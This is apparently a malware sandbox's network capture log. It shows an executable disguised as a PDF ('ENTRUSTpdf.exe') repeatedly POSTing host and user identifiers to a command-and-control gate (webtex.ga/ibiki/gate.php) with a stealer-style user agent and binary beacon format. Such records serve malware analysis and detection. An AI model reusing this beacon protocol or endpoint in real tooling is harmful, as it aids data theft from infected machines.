Dec 3, 2020 10:04:23.607166052 CET	4929	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:23.648849010 CET	4929	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:40 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.3	50040	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:23.869442940 CET	4930	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:23.886085033 CET	4930	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:23.928852081 CET	4931	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:41 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.3	50041	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:24.157418013 CET	4931	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:24.174293041 CET	4932	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:24.216682911 CET	4932	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:41 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.3	50042	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:24.445219040 CET	4933	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:24.462002993 CET	4933	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:24.503657103 CET	4933	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:41 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.3	50043	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:24.740638018 CET	4934	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:24.757440090 CET	4934	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:24.798671961 CET	4935	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:42 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.3	50044	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:25.359903097 CET	4935	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:25.376658916 CET	4936	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:25.418654919 CET	4936	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:42 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49712	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:30.152512074 CET	68	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:30.171303988 CET	69	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:30.214601994 CET	69	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:47 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49744	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:41.418473959 CET	147	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:41.435306072 CET	147	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:41.476969004 CET	148	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:58 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.3	50045	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:04:25.779330015 CET	4937	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:04:25.795938969 CET	4937	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:04:25.837142944 CET	4937	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:43 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49747	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:41.727267027 CET	158	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:41.743932009 CET	158	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:41.777842045 CET	163	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:59 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49748	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:42.032912016 CET	166	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:42.049576998 CET	167	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:42.092412949 CET	171	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:59 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49749	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:42.331414938 CET	171	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:42.348020077 CET	172	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:42.389555931 CET	172	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:59 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49750	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:42.653877020 CET	173	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:42.670490026 CET	173	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:42.717298985 CET	173	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:59 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49751	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:42.984813929 CET	174	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:43.008405924 CET	174	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:43.050733089 CET	175	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:00 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49752	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:43.283330917 CET	175	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:43.301074028 CET	176	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:43.342667103 CET	176	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:00 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49755	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:43.612446070 CET	190	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:43.629123926 CET	191	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:43.673908949 CET	196	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:00 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49756	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:43.931444883 CET	198	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:43.949999094 CET	198	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:43.995368004 CET	199	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:01 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49758	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:44.249686956 CET	204	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:44.266457081 CET	205	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:44.316339016 CET	208	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:01 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49713	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:30.776444912 CET	70	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:30.795722008 CET	70	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:30.840723038 CET	70	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:48 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49759	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:44.661642075 CET	212	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:44.678453922 CET	213	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:44.797399998 CET	213	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:01 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49760	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:45.021437883 CET	214	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:45.037956953 CET	214	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:45.078031063 CET	214	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:02 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49761	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:45.361001968 CET	215	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
